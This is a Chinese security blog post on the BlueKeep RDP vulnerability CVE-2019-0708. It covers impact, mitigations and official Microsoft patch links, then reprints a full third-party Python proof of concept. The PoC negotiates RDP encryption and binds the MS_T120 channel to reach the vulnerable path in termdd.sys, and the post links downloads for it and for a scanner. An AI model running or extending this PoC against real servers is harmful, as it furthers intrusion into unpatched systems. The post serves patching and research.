七兮技术分享

CVE-2019-0708以及POC和360公司 [CVE-2019-0708 ]扫描工具

23 05月
作者:七兮|分类:安全与攻防|标签:CVE-2019-0708

安全圈和关注安全圈的小伙伴们都知道,最近微软修复一个漏洞CVE-2019-0708。

我先简单说明一下这个漏洞的危害性。

windows系列服务器于2019年5月15号,被爆出高危漏洞,该漏洞影响范围较广,windows2003、windows2008、windows2008 R2、windows xp * 系统都会遭到攻击,该服务器漏洞利用方式是通过远程桌面端口3389,RDP协议进行攻击的 。CVE-2019-0708漏洞是通过检查用户的身份认证,导致可以绕过认证,不用任何的交互,直接通过rdp协议进行连接发送恶意代码执行命令到服务器中去。这个漏洞是今年来说危害严重性最大的漏洞,换句话说,该漏洞是“可传播的”,这意味着任何利用该漏洞的恶意软件都可能从受影响的计算机传播到受影响的计算机,就像2017年WannaCry恶意软件在全球蔓延一样,跟之前的勒索,永恒之蓝病毒差不多。

*备注:微软不在对 windows-Xp 和windows 2003 提供安全更新(对windows10和8无影响)

缓解方式

在启用了网络级身份验证(NLA)的受影响系统上,有部分缓解措施。

1.如果不需要,请禁用远程桌面服务。

2.在运行Windows 7,Windows Server 2008和Windows Server 2008 R2的提供支持版本的系统上启用网络级别身份验证(NLA)

3.在企业外围防火墙处阻止TCP端口3389

TCP端口3389用于启动与受影响组件的连接。在网络外围防火墙处阻止此端口将有助于保护防火墙后面的系统免于此漏洞的威胁,有助于保护网络免受来自企业外部的***。阻止企业外围的受影响端口是帮助避免基于Internet的***的最佳防御。

由于目前国内使用windows服务器的公司,以及网站太多,尤其阿里云服务器,腾讯云的服务器,百度云服务器,西部数码服务器,都在第一时间短信通知用户。关于RDP远程桌面漏洞的详情,我们来看下:


CVE-2019-0708以及POC和360公司 [CVE-2019-0708 ]扫描工具

 


CVE-2019-0708漏洞修复补丁以及安全建议:

有些windows2008系统打不了补丁的一般是数据中心版本,可以设置一下服务器,计算机右键属性-远程设置-仅允许运行使用网络基本身份验证的远程桌面的计算机连接(更安全)(N),在这行点勾,然后确认即可,可以临时的防止漏洞的攻击。

如果对补丁不知道该如何修复的,可以启用阿里云的端口安全策略,禁止掉3389远程端口,只允许自己的IP通信即可。

1、提高安全意识,不随意点击来源不明的邮件、文档、链接等,并及时为操作系统、IE、

安全建议:

Flash等常用软件打好补丁。

2、重要文档、数据应经常做备份,一旦文件损坏或丢失,也可以及时找回。

3、电脑设置的口令要足够复杂,包括数字、大小写字母、符号且长度至少应该有8位,不使用弱口令,以防攻击者破解。

4、避免将远程桌面服务(RDP,默认端口为3389)暴露在公网上(如为了远程运维方便确有必要开启,则可通过VPN登录后才能访问),并关闭445、139、135等不必要的端口。

 

 

修复方案:

下载对应系统版本的补丁包

https://www.catalog.update.microsoft.com/Search.aspx?q=KB4499175


https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708


https://www.qianxin.com/other/CVE-2019-0708


1.Windows Server 2008 漏洞补丁系列下载地址


Windows Server 2008 32位系统:


http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.0-kb4499149-x86_832cf179b302b861c83f2a92acc5e2a152405377.msu


Windows Server 2008 x64位系统:


http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.0-kb4499149-x64_9236b098f7cea864f7638e7d4b77aa8f81f70fd6.msu


Windows Server 2008 R2 Itanium系统:


http://download.windowsupdate.com/c/msdownload/update/software/secu/2019/05/windows6.1-kb4499175-ia64_fabc8e54caa0d31a5abe8a0b347ab4a77aa98c36.msu


Windows Server 2008 R2 x64系统:


http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.1-kb4499175-x64_3704acfff45ddf163d8049683d5a3b75e49b58cb.msu


Windows Server 2008 Itanium:


http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.0-kb4499180-ia64_805e448d48ab8b1401377ab9845f39e1cae836d4.msu


2.Windows Server 2003 漏洞补丁系列下载地址


Windows Server 2003 32位系统:


http://download.windowsupdate.com/d/csa/csa/secu/2019/04/windowsserver2003-kb4500331-x86-custom-chs_4892823f525d9d532ed3ae36fc440338d2b46a72.exe


Windows Server 2003 64位系统:


http://download.windowsupdate.com/d/csa/csa/secu/2019/04/windowsserver2003-kb4500331-x64-custom-chs_f2f949a9a764ff93ea13095a0aca1fc507320d3c.exe


3. Windows XP 漏洞补丁系列下载地址


Windows XP SP3 32位系统:


http://download.windowsupdate.com/c/csa/csa/secu/2019/04/windowsxp-kb4500331-x86-custom-chs_718543e86e06b08b568826ac13c05f967392238c.exe


Windows XP SP2 64位系统:


http://download.windowsupdate.com/d/csa/csa/secu/2019/04/windowsserver2003-kb4500331-x64-custom-enu_e2fd240c402134839cfa22227b11a5ec80ddafcf.exe


Windows XP SP3 for Xpe:


http://download.windowsupdate.com/d/csa/csa/secu/2019/04/windowsxp-kb4500331-x86-embedded-custom-chs_96da48aaa9d9bcfe6cd820f239db2fe96500bfae.exe


 


下面是POC部分:

 CVE-2019-0708以及POC和360公司 [CVE-2019-0708 ]扫描工具


README.md:

# CVE-2019-0708-PoC-Hitting-Path

# Really Really Bad, don't judge this code hahaha (it's terrible)

It's only hitting vulnerable path in termdd.sys!!! NOT DOS

Tested only on Windows XP Sp3 x86, Windows 7 will need negotiation part probably so it won't work (I hope that work at all)

Maybe it will be useful for exploit development

![](path.jpg)

 


下面是代码部分:

#CVE-2019-0708
#the most worst PoC for only hitting vulnerable path NOT DOS!!!!! by Mateusz Garncarek
#https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/e78db616-689f-4b8a-8a99-525f7a433ee2
#https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-RDPBCGR/%5bMS-RDPBCGR%5d.pdf
 
import socket
import sys
import struct
import hashlib
 
 
def macData(macSaltKey, data):
    """
    @see: http://msdn.microsoft.com/en-us/library/cc241995.aspx
    @param macSaltKey: {str} mac key
    @param data: {str} data to sign
    @return: {str} signature
    """
    sha1Digest = hashlib.sha1()
    md5Digest = hashlib.md5()
    
    #encode lenGTh
    dataLength = len(data)
    dataLength = struct.pack('<I',dataLength)
    b36 = b"\x36" * 40
    
    
    sha1Digest.update(macSaltKey)
    sha1Digest.update(b36)
    sha1Digest.update(dataLength)
    sha1Digest.update(data)
    
    sha1Sig = sha1Digest.digest()
 
    b5c = b"\x5c" * 48
    
    md5Digest.update(macSaltKey)
    md5Digest.update(b5c)
    md5Digest.update(sha1Sig)
    
    return md5Digest.digest()
 
 
def crypt(key, data):
    S = list(range(256))
    j = 0
 
    for i in list(range(256)):
        j = (j + S[i] + ord(key[i % len(key)])) % 256
        S[i], S[j] = S[j], S[i]
 
    j = 0
    y = 0
    out = []
 
    for char in data:
        j = (j + 1) % 256
        y = (y + S[j]) % 256
        S[j], S[y] = S[y], S[j]
 
        
        out.append(chr(ord(char) ^ S[(S[j] + S[y]) % 256]))
 
    return ''.join(out)
 
 
def SaltedHash(Secret, I,client_random,server_random):
    md5 = hashlib.md5()
    sha1 = hashlib.sha1()
 
 
 
    Secretb = bytearray()
    Secretb.extend(map(ord, Secret))
 
 
 
    Ib = bytearray()
    Ib.extend(map(ord, I))
 
    client_randomb = bytearray()
    client_randomb.extend(map(ord, client_random))
 
    
    server_randomb = bytearray()
    server_randomb.extend(map(ord, server_random))
    
  
    sha1.update(Ib+Secretb+client_randomb+server_randomb)
    md5.update(Secretb+sha1.digest())
    return md5.digest()
 
 
def finalHash(key, client_random, server_random):
    """
    @summary: MD5(in0[:16] + in1[:32] + in2[:32])
    @param key: in 16
    @param random1: in 32
    @param random2: in 32
    @return MD5(in0[:16] + in1[:32] + in2[:32])
    """
    client_randomb = bytearray()
    client_randomb.extend(map(ord, client_random))
    server_randomb = bytearray()
    server_randomb.extend(map(ord, server_random))
    md5Digest = md5 = hashlib.md5()
 
    
    md5Digest.update(key)
    md5Digest.update(client_randomb)
    md5Digest.update(server_randomb)
    return md5Digest.digest()
 
#Hardcoded Client Info PDU
packet_to_encrypt = b""
packet_to_encrypt +=b"\x00\x00\x00\x00\x5B\x01\x01\x00\x00\x00\x08\x00\x08\x00\x00"
packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x74\x00\x65\x00\x73\x00\x74\x00\x00\x00"
packet_to_encrypt +=b"\x74\x00\x65\x00\x73\x00\x74\x00\x00\x00\x00\x00\x00\x00\x02"
packet_to_encrypt +=b"\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
 
 
client_random = b""
 
client_random += b"\xff\xee\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
client_random += b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff"
 
 
host = '192.168.195.131'
port = 3389
 
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
 
s.connect((host, port))
 
received_data = ""
 
packet1 = b"\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00"
 
 
s.send(packet1)
received_data  = s.recv(10024)
 
 
print("1st packet sent")
 
#Initial PDU with GCC Conference Create Request
PDU = "\x03\x00\x01\xca\x02\xf0\x80\x7f\x65\x82\x01\xb2\x04\x01"
PDU += "\x01\x04\x01\x01\x01\x01\xff\x30\x19\x02\x01\x22\x02\x01\x02\x02\x01\x00\x02"
PDU += "\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02\x30\x19\x02\x01"
PDU += "\x01\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\x04"
PDU += "\x20\x02\x01\x02\x30\x1c\x02\x02\xff\xff\x02\x02\xfc\x17\x02\x02\xff\xff\x02"
PDU += "\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02\x04\x82\x01\x51"
PDU += "\x00\x05\x00\x14\x7c\x00\x01\x81\x48\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75"
PDU += "\x63\x61\x81\x3a\x01\xc0\xea\x00\x0b\x00\x08\x00\x80\x07\x38\x04\x01\xca\x03"
 
PDU += "\xaa\x15\x04\x00\x00\x63\x45\x00\x00\x44\x00\x45\x00\x53\x00\x4b\x00\x54\x00"
PDU += "\x4f\x00\x50\x00\x2d\x00\x37\x00\x39\x00\x46\x00\x56\x00\x56\x00\x30\x00\x43"
PDU += "\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00"
PDU += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
PDU += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
PDU += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
 
PDU += "\x00\x00\x00\x01\xca\x01\x00\x00\x00\x00\x00\x18\x00\x0f\x00\xaf\x07\x35\x00"
 
PDU += "\x65\x00\x37\x00\x37\x00\x63\x00\x33\x00\x39\x00\x35\x00\x2d\x00\x66\x00\x30"
PDU += "\x00\x37\x00\x32\x00\x2d\x00\x34\x00\x63\x00\x37\x00\x36\x00\x2d\x00\x62\x00"
PDU += "\x31\x00\x65\x00\x63\x00\x2d\x00\x66\x00\x36\x00\x32\x00\x66\x00\x65\x00\x37"
PDU += "\x00\x33\x00\x00\x00\x07\x00\x00\x00\x00\x00\x58\x01\x00\x00\xc1\x00\x00\x00"
PDU += "\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x04\xc0\x0c\x00\x15\x00\x00\x00\x00"
PDU += "\x00\x00\x00\x02\xc0\x0c\x00\x1b\x00\x00\x00\x00\x00\x00\x00\x03\xc0\x38\x00"
 
 
#count of channels
PDU += "\x06\x00\x00\x00"
 
#channels
PDU += "rdpdr" + "\x00\x00\x00" + "\x00\x00\x80\x80"
PDU += "rdpsnd"+"\x00\x00" + "\x00\x00\x00\xc0"
PDU += "cliprdr"+ "\x00"+ "\x00\x00\xa0\xc0"
PDU += "AAAAAAA" + "\x00" + "\x00\x00\x00\x80"
PDU += "MS_T120" + "\x00" + "\x00\x00\x00\x80"
PDU += "drdynvc"  + "\x00"+ "\x00\x00\x80\xc0"
 
 
 
length_packet = len(PDU)
print(length_packet)
 
#stupid calculating length for ASN.1 xD
ber = length_packet-12
ber2  = length_packet-109
ber3  =  length_packet-118
ber4  =  length_packet-132
ber5 =    length_packet-390
 
 
 
length_packetb = struct.pack(">h", length_packet)
 
berb = length_packet = struct.pack(">h", ber)
ber2b  = length_packet = struct.pack(">h", ber2)
ber3b  =  length_packet = struct.pack(">h", ber3)
ber4b  = length_packet = struct.pack(">h", ber4)
ber5b =   length_packet = struct.pack(">h", ber5)
 
 
#even more worse calculating length for ASN.1 xD
PDU_b = bytearray()
PDU_b.extend(map(ord, PDU))
 
PDU_b[2] = length_packetb[0]
PDU_b[3] = length_packetb[1]
 
PDU_b[10] = berb[0]
PDU_b[11] = berb[1]
 
 
PDU_b[107] = ber2b[0]
PDU_b[108] = ber2b[1]
#hardcoded high part of length xDDDDDDDDd
PDU_b[116] = 0x81
PDU_b[117] = ber3b[1] 
#hardcoded high part of length xDDDDDDDDd
PDU_b[130] = 0x81
PDU_b[131] = ber4b[1]
PDU_b[392] = ber5b[1]
 
 
s.send(PDU_b)
received_data = s.recv(1024)
 
#more hardcoded things xDDDDDDDDd
server_random = received_data[121:153]
modulus = received_data[189:253]
public_exponent =  received_data[185:189]
 
 
 
#print(modulus)
 
 
print("Initial PDU sent")
 
 
 
#modulus_b = bytearray()
#modulus_b.extend(map(ord, modulus))
 
 
#Obtaining things for RSA 
modulus = int.fROM_bytes(modulus, byteorder='little')
public_exponent = int.from_bytes(public_exponent, byteorder='little')
client_random = int.from_bytes(client_random, byteorder='little')
 
 
 
#Encrypting client radom 
 
encrypted_client_random = pow(client_random,public_exponent,modulus )
encrypted_client_random  = encrypted_client_random.to_bytes(64, byteorder='little')
 
 
####Begin of connecting virtual channels, it's also hardcoded xD
packet3 = b"\x03\x00\x00\x0c\x02\xf0\x80\x04\x01\x00\x01\x00"
s.send(packet3)
print("3rd packet sent")
 
 
packet4 = b"\x03\x00\x00\x08\x02\xf0\x80\x28"
s.send(packet4)
received_data  = s.recv(1024)
print("4th packet sent")
 
 
packet5 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xf1"
s.send(packet5)
received_data  = s.recv(1024)
print("5th packet sent")
 
 
packet6 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xeb"
s.send(packet6)
received_data  = s.recv(1024)
print("6th packet sent")
 
 
packet7 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xec"
s.send(packet7)
received_data  = s.recv(1024)
 
 
 
packet8 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xed"
s.send(packet8)
received_data  = s.recv(1024)
 
 
packet9 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xee"
s.send(packet9)
received_data  = s.recv(1024)
 
 
packet10 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xef"
s.send(packet10)
received_data  = s.recv(1024)
 
 
 
packet11= b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xf0"
s.send(packet11)
received_data  = s.recv(1024)
###########End of connecting virtual channels
 
 
#Client Security Exchange PDU
 
PDU_Security_Exchange = b"\x03\x00\x00\x5e\x02\xf0\x80\x64\x00\x08\x03\xeb\x70\x50\x01\x02\x00\x00\x48\x00\x00\x00"
PDU_Security_Exchange += encrypted_client_random
PDU_Security_Exchange  += b"\x00\x00\x00\x00\x00\x00\x00\x00"
 
 
 
 
 
client_random  = client_random.to_bytes(32, byteorder='little')
client_random = "".join(map(chr, client_random))
server_random = "".join(map(chr, server_random))
 
#Calculating hashes and things for RC4 encryption it's only done for 128BIT RC4
PreMasterSecret = client_random[:24] + server_random[:24]
MasterSecret = SaltedHash(PreMasterSecret,"A",client_random,server_random) +  SaltedHash(PreMasterSecret,"BB",client_random,server_random) + SaltedHash(PreMasterSecret,"CCC",client_random,server_random)
MasterSecret = "".join(map(chr, MasterSecret))
SessionKeyBlob = SaltedHash(MasterSecret,"X",client_random,server_random) +  SaltedHash(MasterSecret,"YY",client_random,server_random) + SaltedHash(MasterSecret,"ZZZ",client_random,server_random)
FinalClientEncryptKey128 = SessionKeyBlob[32:48]
FinalClientEncryptKey128 = finalHash(FinalClientEncryptKey128,client_random,server_random)
 
print(':'.join(hex(x)[2:] for x in FinalClientEncryptKey128))
 
 
MACKey128 = SessionKeyBlob[:16]
 
#print(':'.join(hex(x)[2:] for x in MACKey128))
 
FinalClientEncryptKey128 = "".join(map(chr, FinalClientEncryptKey128))
FinalMac128 = macData(MACKey128, packet_to_encrypt)[:8]
packet_to_encrypt = "".join(map(chr, packet_to_encrypt))
encrypted_packet = crypt(FinalClientEncryptKey128,packet_to_encrypt)
 
 
encrypted_packetb = bytearray()
encrypted_packetb.extend(map(ord, encrypted_packet))
 
#print(':'.join(hex(ord(x))[2:] for x in encrypted_packet))
 
 
 
#Client Info PDU together with #Client Security Exchange PDU
Client_Info_PDU =  b""
Client_Info_PDU += PDU_Security_Exchange
Client_Info_PDU += b"\x03\x00\x01\x05\x02\xf0\x80\x64\x00\x03\x03\xeb\x70\x80\xf6\x48\x00\x00\x00"
Client_Info_PDU += FinalMac128
Client_Info_PDU += encrypted_packetb
 
 
s.send(Client_Info_PDU)
received_data  = s.recv(1024)
print("Last packet sent")

 

 

 

 



百度网盘下载地址:

链接: https://pan.baidu.com/s/1KSwujqbaC8ipI1vgI8xLSw 

提取码: s6sj 


 


360公司_RDP漏洞[ CVE-2019-0708 ]无损扫描工具(解压密码:360):

百度网盘下载地址:

链接: https://pan.baidu.com/s/1kBdlA7r0CsOv80FDkmN4qQ 

提取码: bdxq 


若有最新消息,七兮网络会第一时间跟进,请大家多多关注!

所有内容均来自于互联网,我只是一个搬运工。不代表个人,我只是一个爱分享的安全人。若有侵权,联系删除!


本文来自 七兮网络 转载请注明;

本文地址:https://qxhut.cn/?id=88。

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。本站信息来自网络收集整理,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。如果您喜欢该程序和内容,请支持正版,购买注册,得到更好的正版服务。我们非常重视版权问题,如有侵权请邮件与我们联系处理。敬请谅解!

浏览5199 评论0
返回
目录
返回
首页
Windows 下 Apache配置 Pycharm可用激活码

发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

登录
用户名
密码
注册
用户名
密码
确认密码
邮箱
QQ
验证码
找回密码
用户名
邮箱
※ 重置链接将发送到邮箱
请先 登录 再评论,若不是会员请先 注册